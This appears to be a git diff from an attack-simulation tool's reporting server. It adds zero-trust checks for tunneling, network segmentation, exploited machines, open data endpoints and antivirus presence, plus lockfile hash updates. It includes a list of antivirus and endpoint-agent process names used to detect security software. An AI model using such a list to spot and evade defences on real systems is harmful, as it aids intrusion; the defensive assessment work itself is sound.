telemetry_json['data']['aws']: + monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') + mongo.db.monkey.update_one({'_id': monkey_id}, + {'$set': {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}}) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py new file mode 100644 index 000000000..1598b144a --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py @@ -0,0 +1,13 @@ +from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field +from monkey_island.cc.services.telemetry.zero_trust_tests.tunneling import test_tunneling_violation + + +def process_tunnel_telemetry(telemetry_json): + test_tunneling_violation(telemetry_json) + monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] + if telemetry_json['data']['proxy'] is not None: + tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(telemetry_json) + NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip) + else: + NodeService.unset_all_monkey_tunnels(monkey_id) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/utils.py b/monkey/monkey_island/cc/services/telemetry/processing/utils.py new file mode 100644 index 000000000..466b81bf1 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/utils.py @@ -0,0 +1,18 @@ +from monkey_island.cc.services.edge import EdgeService +from monkey_island.cc.services.node import NodeService + + +def get_edge_by_scan_or_exploit_telemetry(telemetry_json): + dst_ip = telemetry_json['data']['machine']['ip_addr'] + dst_domain_name = telemetry_json['data']['machine']['domain_name'] + src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + dst_node = NodeService.get_monkey_by_ip(dst_ip) + if dst_node is None: + dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name) + + return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) + + +def get_tunnel_host_ip_from_proxy_field(telemetry_json): + tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "") + return tunnel_host_ip diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/__init__.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py new file mode 100644 index 000000000..b8b8c559b --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py @@ -0,0 +1,47 @@ +import json + +from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, \ + STATUS_PASSED, STATUS_FAILED, TEST_ENDPOINT_SECURITY_EXISTS +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.services.telemetry.zero_trust_tests.known_anti_viruses import ANTI_VIRUS_KNOWN_PROCESS_NAMES + + +def test_antivirus_existence(telemetry_json): + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + if 'process_list' in telemetry_json['data']: + process_list_event = Event.create_event( + title="Process list", + message="Monkey on {} scanned the process list".format(current_monkey.hostname), + event_type=EVENT_TYPE_MONKEY_LOCAL) + events = [process_list_event] + + av_processes = filter_av_processes(telemetry_json) + + for process in av_processes: + events.append(Event.create_event( + title="Found AV process", + message="The process '{}' was recognized as an Anti Virus process. Process " + "details: {}".format(process[1]['name'], json.dumps(process[1])), + event_type=EVENT_TYPE_MONKEY_LOCAL + )) + + if len(av_processes) > 0: + test_status = STATUS_PASSED + else: + test_status = STATUS_FAILED + AggregateFinding.create_or_add_to_existing( + test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events + ) + + +def filter_av_processes(telemetry_json): + all_processes = telemetry_json['data']['process_list'].items() + av_processes = [] + for process in all_processes: + process_name = process[1]['name'] + # This is for case-insensitive `in`. Generator expression is to save memory. + if process_name.upper() in (known_av_name.upper() for known_av_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES): + av_processes.append(process) + return av_processes diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py new file mode 100644 index 000000000..6c5b1154b --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py @@ -0,0 +1,37 @@ +from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK, STATUS_FAILED, TEST_COMMUNICATE_AS_NEW_USER, \ + STATUS_PASSED +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding +from monkey_island.cc.models.zero_trust.event import Event + +COMM_AS_NEW_USER_FAILED_FORMAT = "Monkey on {} couldn't communicate as new user. Details: {}" +COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \ + "New user created by Monkey on {} successfully tried to communicate with the internet. Details: {}" + + +def test_new_user_communication(current_monkey, success, message): + AggregateFinding.create_or_add_to_existing( + test=TEST_COMMUNICATE_AS_NEW_USER, + # If the monkey succeeded to create a user, then the test failed. + status=STATUS_FAILED if success else STATUS_PASSED, + events=[ + get_attempt_event(current_monkey), + get_result_event(current_monkey, message, success) + ] + ) + + +def get_attempt_event(current_monkey): + tried_to_communicate_event = Event.create_event( + title="Communicate as new user", + message="Monkey on {} tried to create a new user and communicate from it.".format(current_monkey.hostname), + event_type=EVENT_TYPE_MONKEY_NETWORK) + return tried_to_communicate_event + + +def get_result_event(current_monkey, message, success): + message_format = COMM_AS_NEW_USER_SUCCEEDED_FORMAT if success else COMM_AS_NEW_USER_FAILED_FORMAT + + return Event.create_event( + title="Communicate as new user", + message=message_format.format(current_monkey.hostname, message), + event_type=EVENT_TYPE_MONKEY_NETWORK) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py new file mode 100644 index 000000000..68a7f713d --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -0,0 +1,70 @@ +import json + +from common.data.network_consts import ES_SERVICE +from common.data.zero_trust_consts import * +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline +from monkey_island.cc.models.zero_trust.event import Event + +HTTP_SERVERS_SERVICES_NAMES = ['tcp-80'] + + +def test_open_data_endpoints(telemetry_json): + services = telemetry_json["data"]["machine"]["services"] + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + found_http_server_status = STATUS_PASSED + found_elastic_search_server = STATUS_PASSED + + events = [ + Event.create_event( + title="Scan Telemetry", + message="Monkey on {} tried to perform a network scan, the target was {}.".format( + current_monkey.hostname, + telemetry_json["data"]["machine"]["ip_addr"]), + event_type=EVENT_TYPE_MONKEY_NETWORK, + timestamp=telemetry_json["timestamp"] + ) + ] + + for service_name, service_data in services.items(): + events.append(Event.create_event( + title="Scan telemetry analysis", + message="Scanned service: {}.".format(service_name), + event_type=EVENT_TYPE_MONKEY_NETWORK + )) + if service_name in HTTP_SERVERS_SERVICES_NAMES: + found_http_server_status = STATUS_FAILED + events.append(Event.create_event( + title="Scan telemetry analysis", + message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data) + ), + event_type=EVENT_TYPE_MONKEY_NETWORK + )) + if service_name == ES_SERVICE: + found_elastic_search_server = STATUS_FAILED + events.append(Event.create_event( + title="Scan telemetry analysis", + message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data) + ), + event_type=EVENT_TYPE_MONKEY_NETWORK + )) + + AggregateFinding.create_or_add_to_existing( + test=TEST_DATA_ENDPOINT_HTTP, + status=found_http_server_status, + events=events + ) + + AggregateFinding.create_or_add_to_existing( + test=TEST_DATA_ENDPOINT_ELASTIC, + status=found_elastic_search_server, + events=events + ) + + add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py new file mode 100644 index 000000000..e5d7c2355 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py @@ -0,0 +1,87 @@ +ANTI_VIRUS_KNOWN_PROCESS_NAMES = [ + u"AvastSvc.exe", + u"AvastUI.exe", + u"avcenter.exe", + u"avconfig.exe", + u"avgcsrvx.exe", + u"avgidsagent.exe", + u"avgnt.exe", + u"avgrsx.exe", + u"avguard.exe", + u"avgui.exe", + u"avgwdsvc.exe", + u"avp.exe", + u"avscan.exe", + u"bdagent.exe", + u"ccuac.exe", + u"egui.exe", + u"hijackthis.exe", + u"instup.exe", + u"keyscrambler.exe", + u"mbam.exe", + u"mbamgui.exe", + u"mbampt.exe", + u"mbamscheduler.exe", + u"mbamservice.exe", + u"MpCmdRun.exe", + u"MSASCui.exe", + u"MsMpEng.exe", + u"rstrui.exe", + u"spybotsd.exe", + u"zlclient.exe", + u"SymCorpUI.exe", + u"ccSvcHst.exe", + u"ccApp.exe", + u"LUALL.exe", + u"SMC.exe", + u"SMCgui.exe", + u"Rtvscan.exe", + u"LuComServer.exe", + u"ProtectionUtilSurrogate.exe", + u"ClientRemote.exe", + u"SemSvc.exe", + u"SemLaunchSvc.exe", + u"sesmcontinst.exe", + u"LuCatalog.exe", + u"LUALL.exe", + u"LuCallbackProxy.exe", + u"LuComServer_3_3.exe", + u"httpd.exe", + u"dbisqlc.exe", + u"dbsrv16.exe", + u"semapisrv.exe", + u"snac64.exe", + u"AutoExcl.exe", + u"DoScan.exe", + u"nlnhook.exe", + u"SavUI.exe", + u"SepLiveUpdate.exe", + u"Smc.exe", + u"SmcGui.exe", + u"SymCorpUI.exe", + u"symerr.exe", + u"ccSvcHst.exe", + u"DevViewer.exe", + u"DWHWizrd.exe", + u"RtvStart.exe", + u"roru.exe", + u"WSCSAvNotifier", + # Guardicore Centra + # Linux + u"gc-agents-service", + u"gc-guest-agent", + u"gc-guardig", + u"gc-digger", + u"gc-fastpath", + u"gc-enforcement-agent", + u"gc-enforcement-channel", + u"gc-detection-agent", + # Windows + u"gc-guest-agent.exe", + u"gc-windig.exe", + u"gc-digger.exe", + u"gc-fastpath.exe", + u"gc-enforcement-channel.exe", + u"gc-enforcement-agent.exe", + u"gc-agent-ui.exe" +] diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py new file mode 100644 index 000000000..454f3a7fe --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -0,0 +1,39 @@ +from common.data.zero_trust_consts import * +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline +from monkey_island.cc.models.zero_trust.event import Event + + +def test_machine_exploited(current_monkey, exploit_successful, exploiter, target_ip, timestamp): + events = [ + Event.create_event( + title="Exploit attempt", + message="Monkey on {} attempted to exploit {} using {}.".format( + current_monkey.hostname, + target_ip, + exploiter), + event_type=EVENT_TYPE_MONKEY_NETWORK, + timestamp=timestamp + ) + ] + status = STATUS_PASSED + if exploit_successful: + events.append( + Event.create_event( + title="Exploit success!", + message="Monkey on {} successfully exploited {} using {}.".format( + current_monkey.hostname, + target_ip, + exploiter), + event_type=EVENT_TYPE_MONKEY_NETWORK, + timestamp=timestamp) + ) + status = STATUS_FAILED + + AggregateFinding.create_or_add_to_existing( + test=TEST_MACHINE_EXPLOITED, + status=status, + events=events + ) + + add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py new file mode 100644 index 000000000..50e60e493 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -0,0 +1,110 @@ +import itertools +from six import text_type + +from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED +from common.network.network_range import NetworkRange +from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst, get_ip_if_in_subnet +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding +from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups + +SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \ + "from `{src_seg}` segments to `{dst_seg}` segments." + +SEGMENTATION_VIOLATION_EVENT_TEXT = \ + "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \ + "managed to communicate cross segment to {target_ip} (in segment {target_seg})." + + +def test_segmentation_violation(current_monkey, target_ip): + # TODO - lower code duplication between this and report.py. + subnet_groups = get_config_network_segments_as_subnet_groups() + for subnet_group in subnet_groups: + subnet_pairs = itertools.product(subnet_group, subnet_group) + for subnet_pair in subnet_pairs: + source_subnet = subnet_pair[0] + target_subnet = subnet_pair[1] + if is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): + event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet) + SegmentationFinding.create_or_add_to_existing_finding( + subnets=[source_subnet, target_subnet], + status=STATUS_FAILED, + segmentation_event=event + ) + + +def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): + # type: (Monkey, str, str, str) -> bool + """ + Checks is a specific communication is a segmentation violation. + :param current_monkey: The source monkey which originated the communication. + :param target_ip: The target with which the current monkey communicated with. + :param source_subnet: The segment the monkey belongs to. + :param target_subnet: Another segment which the monkey isn't supposed to communicate with. + :return: True if this is a violation of segmentation between source_subnet and target_subnet; Otherwise, False. + """ + if source_subnet == target_subnet: + return False + source_subnet_range = NetworkRange.get_range_obj(source_subnet) + target_subnet_range = NetworkRange.get_range_obj(target_subnet) + + if target_subnet_range.is_in_range(text_type(target_ip)): + cross_segment_ip = get_ip_in_src_and_not_in_dst( + current_monkey.ip_addresses, + source_subnet_range, + target_subnet_range) + + return cross_segment_ip is not None + + +def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet): + return Event.create_event( + title="Segmentation event", + message=SEGMENTATION_VIOLATION_EVENT_TEXT.format( + hostname=current_monkey.hostname, + source_ip=get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(source_subnet)), + source_seg=source_subnet, + target_ip=target_ip, + target_seg=target_subnet + ), + event_type=EVENT_TYPE_MONKEY_NETWORK + ) + + +def test_passed_findings_for_unreached_segments(current_monkey): + flat_all_subnets = [item for sublist in get_config_network_segments_as_subnet_groups() for item in sublist] + create_or_add_findings_for_all_pairs(flat_all_subnets, current_monkey) + + +def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): + # Filter the subnets that this monkey is part of. + this_monkey_subnets = [] + for subnet in all_subnets: + if get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(subnet)) is not None: + this_monkey_subnets.append(subnet) + + # Get all the other subnets. + other_subnets = list(set(all_subnets) - set(this_monkey_subnets)) + + # Calculate the cartesian product - (this monkey subnets X other subnets). These pairs are the pairs that the monkey + # should have tested. + all_subnets_pairs_for_this_monkey = itertools.product(this_monkey_subnets, other_subnets) + + for subnet_pair in all_subnets_pairs_for_this_monkey: + SegmentationFinding.create_or_add_to_existing_finding( + subnets=list(subnet_pair), + status=STATUS_PASSED, + segmentation_event=get_segmentation_done_event(current_monkey, subnet_pair) + ) + + +def get_segmentation_done_event(current_monkey, subnet_pair): + return Event.create_event( + title="Segmentation test done", + message=SEGMENTATION_DONE_EVENT_TEXT.format( + hostname=current_monkey.hostname, + src_seg=subnet_pair[0], + dst_seg=subnet_pair[1]), + event_type=EVENT_TYPE_MONKEY_NETWORK + ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py new file mode 100644 index 000000000..5f986e3b5 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py @@ -0,0 +1,46 @@ +import uuid + +from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_PASSED, STATUS_FAILED, \ + EVENT_TYPE_MONKEY_NETWORK +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding +from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import create_or_add_findings_for_all_pairs +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + +FIRST_SUBNET = "1.1.1.1" +SECOND_SUBNET = "2.2.2.0/24" +THIRD_SUBNET = "3.3.3.3-3.3.3.200" + + +class TestSegmentationTests(IslandTestCase): + def test_create_findings_for_all_done_pairs(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + all_subnets = [FIRST_SUBNET, SECOND_SUBNET, THIRD_SUBNET] + + monkey = Monkey( + guid=str(uuid.uuid4()), + ip_addresses=[FIRST_SUBNET]) + + # no findings + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 0) + + # This is like the monkey is done and sent done telem + create_or_add_findings_for_all_pairs(all_subnets, monkey) + + # There are 2 subnets in which the monkey is NOT + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 2) + + # This is a monkey from 2nd subnet communicated with 1st subnet. + SegmentationFinding.create_or_add_to_existing_finding( + [FIRST_SUBNET, SECOND_SUBNET], + STATUS_FAILED, + Event.create_event(title="sdf", message="asd", event_type=EVENT_TYPE_MONKEY_NETWORK) + ) + + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 1) + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_FAILED)), 1) + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 2) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py new file mode 100644 index 000000000..ce34c2bb4 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py @@ -0,0 +1,27 @@ +from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field + + +def test_tunneling_violation(tunnel_telemetry_json): + if tunnel_telemetry_json['data']['proxy'] is not None: + # Monkey is tunneling, create findings + tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(tunnel_telemetry_json) + current_monkey = Monkey.get_single_monkey_by_guid(tunnel_telemetry_json['monkey_guid']) + tunneling_events = [Event.create_event( + title="Tunneling event", + message="Monkey on {hostname} tunneled traffic through {proxy}.".format( + hostname=current_monkey.hostname, proxy=tunnel_host_ip), + event_type=EVENT_TYPE_MONKEY_NETWORK, + timestamp=tunnel_telemetry_json['timestamp'] + )] + + AggregateFinding.create_or_add_to_existing( + test=TEST_TUNNELING, + status=STATUS_FAILED, + events=tunneling_events + ) + + add_malicious_activity_to_timeline(tunneling_events) diff --git a/monkey/monkey_island/cc/testing/IslandTestCase.py b/monkey/monkey_island/cc/testing/IslandTestCase.py index 1c708279e..35e568399 100644 --- a/monkey/monkey_island/cc/testing/IslandTestCase.py +++ b/monkey/monkey_island/cc/testing/IslandTestCase.py @@ -1,6 +1,7 @@ import unittest from monkey_island.cc.environment.environment import env from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.finding import Finding class IslandTestCase(unittest.TestCase): @@ -10,3 +11,7 @@ class IslandTestCase(unittest.TestCase): @staticmethod def clean_monkey_db(): Monkey.objects().delete() + + @staticmethod + def clean_finding_db(): + Finding.objects().delete() diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 934b567e7..f366d73bd 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -56,7 +56,7 @@ "@babel/helper-module-imports": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.0.0.tgz", - "integrity": "sha1-lggbcRHkhtpNLNlxrRpP4hbMLj0=", + "integrity": "sha512-aP/hlLq01DWNEiDg4Jn23i+CXxW/owM4WpDLFUbpjxe4NS3BhLVZQ5i7E0ZrxuQ/vwekIeciyamgB1UIYxxM6A==", "requires": { "@babel/types": "^7.0.0" }, @@ -74,7 +74,7 @@ "lodash": { "version": "4.17.11", "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.11.tgz", - "integrity": "sha1-s56mIp72B+zYniyN8SU2iRysm40=" + "integrity": "sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg==" }, "to-fast-properties": { "version": "2.0.0", @@ -259,7 +259,7 @@ "@emotion/cache": { "version": "10.0.9", "resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-10.0.9.tgz", - "integrity": "sha1-4Me3oon3Uw7c+tTc84WL0uVwCm8=", + "integrity": "sha512-f7MblpE2xoimC4fCMZ9pivmsIn7hyWRIvY75owMDi8pdOSeh+w5tH3r4hBJv/LLrwiMM7cTQURqTPcYoL5pWnw==", "requires": { "@emotion/sheet": "0.9.2", "@emotion/stylis": "0.8.3", @@ -270,7 +270,7 @@ "@emotion/core": { "version": "10.0.10", "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.0.10.tgz", - "integrity": "sha1-jTEU5aL4sXinBnxgOik3UW8YCwg=", + "integrity": "sha512-U1aE2cOWUscjc8ZJ3Cx32udOzLeRoJwGxBH93xQD850oQFpwPKZARzdUtdc9SByUOwzSFYxhDhrpXnV34FJmWg==", "requires": { "@emotion/cache": "^10.0.9", "@emotion/css": "^10.0.9", @@ -292,12 +292,12 @@ "@emotion/hash": { "version": "0.7.1", "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.7.1.tgz", - "integrity": "sha1-mDNyI0E3n7fWfwaksAqzw3kT2lM=" + "integrity": "sha512-OYpa/Sg+2GDX+jibUfpZVn1YqSVRpYmTLF2eyAfrFTIJSbwyIrc+YscayoykvaOME/wV4BV0Sa0yqdMrgse6mA==" }, "@emotion/memoize": { "version": "0.7.1", "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.7.1.tgz", - "integrity": "sha1-6TwTlCWSz17wGqgpdETcGSvu5S8=" + "integrity": "sha512-Qv4LTqO11jepd5Qmlp3M1YEjBumoTHcHFdgPTQ+sFlIL5myi/7xu/POwP7IRu6odBdmLXdtIs1D6TuW6kbwbbg==" }, "@emotion/serialize": { "version": "0.11.6", @@ -314,27 +314,27 @@ "@emotion/sheet": { "version": "0.9.2", "resolved": "https://registry.npmjs.org/@emotion/sheet/-/sheet-0.9.2.tgz", - "integrity": "sha1-dOXGteSJobowqyRqte7dlpFkh8Q=" + "integrity": "sha512-pVBLzIbC/QCHDKJF2E82V2H/W/B004mDFQZiyo/MSR+VC4pV5JLG0TF/zgQDFvP3fZL/5RTPGEmXlYJBMUuJ+A==" }, "@emotion/stylis": { "version": "0.8.3", "resolved": "https://registry.npmjs.org/@emotion/stylis/-/stylis-0.8.3.tgz", - "integrity": "sha1-PKfpvLMbPLSvuutmFW2G7oXiMkY=" + "integrity": "sha512-M3nMfJ6ndJMYloSIbYEBq6G3eqoYD41BpDOxreE8j0cb4fzz/5qvmqU9Mb2hzsXcCnIlGlWhS03PCzVGvTAe0Q==" }, "@emotion/unitless": { "version": "0.7.3", "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.7.3.tgz", - "integrity": "sha1-YxCgR/EtIaEDb7AxMXIZiSRAQW8=" + "integrity": "sha512-4zAPlpDEh2VwXswwr/t8xGNDGg8RQiPxtxZ3qQEXyQsBV39ptTdESCjuBvGze1nLMVrxmTIKmnO/nAV8Tqjjzg==" }, "@emotion/utils": { "version": "0.11.1", "resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-0.11.1.tgz", - "integrity": "sha1-hSm3QSputLSL325yDMG45uHhdig=" + "integrity": "sha512-8M3VN0hetwhsJ8dH8VkVy7xo5/1VoBsDOk/T4SJOeXwTO1c4uIqVNx2qyecLFnnUWD5vvUqHQ1gASSeUN6zcTg==" }, "@emotion/weak-memoize": { "version": "0.2.2", "resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.2.2.tgz", - "integrity": "sha1-Y5hdPYsCUw4IaZYvTaCRQu6OIA4=" + "integrity": "sha512-n/VQ4mbfr81aqkx/XmVicOLjviMuy02eenSdJY33SVA7S2J42EU0P1H0mOogfYedb3wXA0d/LVtBrgTSm04WEA==" }, "@kunukn/react-collapse": { "version": "1.0.5", @@ -630,7 +630,6 @@ "resolved": "https://registry.npmjs.org/align-text/-/align-text-0.1.4.tgz", "integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=", "dev": true, - "optional": true, "requires": { "kind-of": "^3.0.2", "longest": "^1.0.1", @@ -689,7 +688,7 @@ "are-we-there-yet": { "version": "1.1.5", "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.5.tgz", - "integrity": "sha1-SzXClE8GKov82mZBB2A1D+nd/CE=", + "integrity": "sha512-5hYdAkZlcG8tOLujVDTgCT+uPX0VnpAH28gWsLfzpXYm7wP6mp5Q/gYyR7YQ0cKVJcXJnl3j2kpBan13PtQf6w==", "requires": { "delegates": "^1.0.0", "readable-stream": "^2.0.6" @@ -703,12 +702,12 @@ "process-nextick-args": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha1-o31zL0JxtKsa0HDTVQjoKQeI/6o=" + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==" }, "readable-stream": { "version": "2.3.6", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", - "integrity": "sha1-sRwn2IuP8fvgcGQ8+UsMea4bCq8=", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -722,7 +721,7 @@ "string_decoder": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "requires": { "safe-buffer": "~5.1.0" } @@ -3004,7 +3003,7 @@ "clone-deep": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-2.0.2.tgz", - "integrity": "sha1-ANs6Hhc2VnMNEYjD1qztbX6pdxM=", + "integrity": "sha512-SZegPTKjCgpQH63E+eN6mVEEPdQBOUzjyJm5Pora4lrwWRFS8I0QAxV/KD6vV/i0WuijHZWQC1fMsPEdxfdVCQ==", "requires": { "for-own": "^1.0.0", "is-plain-object": "^2.0.4", @@ -3023,7 +3022,7 @@ "kind-of": { "version": "6.0.2", "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", - "integrity": "sha1-ARRrNqYhjmTljzqNZt5df8b20FE=" + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==" } } }, @@ -3088,8 +3087,7 @@ "commander": { "version": "2.15.1", "resolved": "https://registry.npmjs.org/commander/-/commander-2.15.1.tgz", - "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag==", - "dev": true + "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag==" }, "commondir": { "version": "1.0.1", @@ -3313,7 +3311,7 @@ "copy-to-clipboard": { "version": "3.0.8", "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.0.8.tgz", - "integrity": "sha1-9OgvSogw3ORma3643tDJvMMTq6k=", + "integrity": "sha512-c3GdeY8qxCHGezVb1EFQfHYK/8NZRemgcTIzPq7PuxjHAf/raKibn2QdhHPb/y6q74PMgH6yizaDZlRmw6QyKw==", "requires": { "toggle-selection": "^1.0.3" } @@ -3369,7 +3367,7 @@ }, "yargs": { 